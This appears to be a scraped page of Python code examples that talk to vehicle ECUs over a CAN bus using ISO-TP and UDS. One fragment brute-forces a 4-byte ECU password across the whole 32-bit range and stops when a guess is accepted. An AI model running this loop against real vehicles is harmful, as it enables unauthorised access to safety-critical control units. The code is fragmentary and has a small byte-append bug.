Example #1
0
def send_obd(data):
    conn2 = IsoTPSocketConnection('can0',
                                  rxid=0x7E8,
                                  txid=0x700,
                                  params=params)
    conn2.tpsock.set_opts(txpad=0x55, tx_stmin=2500000)
    conn2.open()
    conn2.send(data)
    conn2.wait_frame()
    conn2.wait_frame()
    conn2.close()
def send_raw(data):
    global params

    conn2 = IsoTPSocketConnection('can0',
                                  rxid=0x7E8,
                                  txid=0x7E0,
                                  params=params)
    conn2.tpsock.set_opts(txpad=0x55, tx_stmin=2500000)

    conn2.open()
    conn2.send(data)
    results = conn2.wait_frame()
    conn2.close()

    if results:
        print(str(results))
        return results
    else:
        return data + b'0x00'
Example #3
0
            print('Server refused our request for service %s with code "%s" (0x%02x)' % (e.response.service.get_name(), e.response.code_name, e.response.code))
        except UnexpectedResponseException as e:
            print('Server sent an invalid payload : %s' % e.response.original_payload)
        except TimeoutException as e:
            pass

    isotp_socket2 = isotp.socket()
    isotp_socket2.set_opts(txpad=CarConfig.TXPADSIZE, rxpad=CarConfig.RXPADSIZE)
    conn2 = IsoTPSocketConnection('can0', rxid=0x002, txid=0x001, tpsock=isotp_socket2)

    with Client(conn2, request_timeout=2, config=CarConfig.car_client_config) as client:
        try:
            # programming session enable test
            for i in range(0,2):
                conn2.send(b'\x00')
                conn2.wait_frame(timeout=0.5)
            
            # switch canid for programming
            conn2.send(b'\x20\x07\x01\x00\x02\x00')
            conn2.wait_frame(timeout=0.5)
            conn2.send(b'\x07\x00')
            conn2.wait_frame(timeout=0.5)

            before_time = time.time()
            for cnt in range(0, 0xffffffff):
                conn2.send(cnt.to_bytes(4, "big"))
                payload = conn2.wait_frame(timeout=0.004)
                
                if payload is not None:
                    print("bingo! password: %s, payload: %s" % (format(cnt, '#010x'), payload))
                    sys.exit()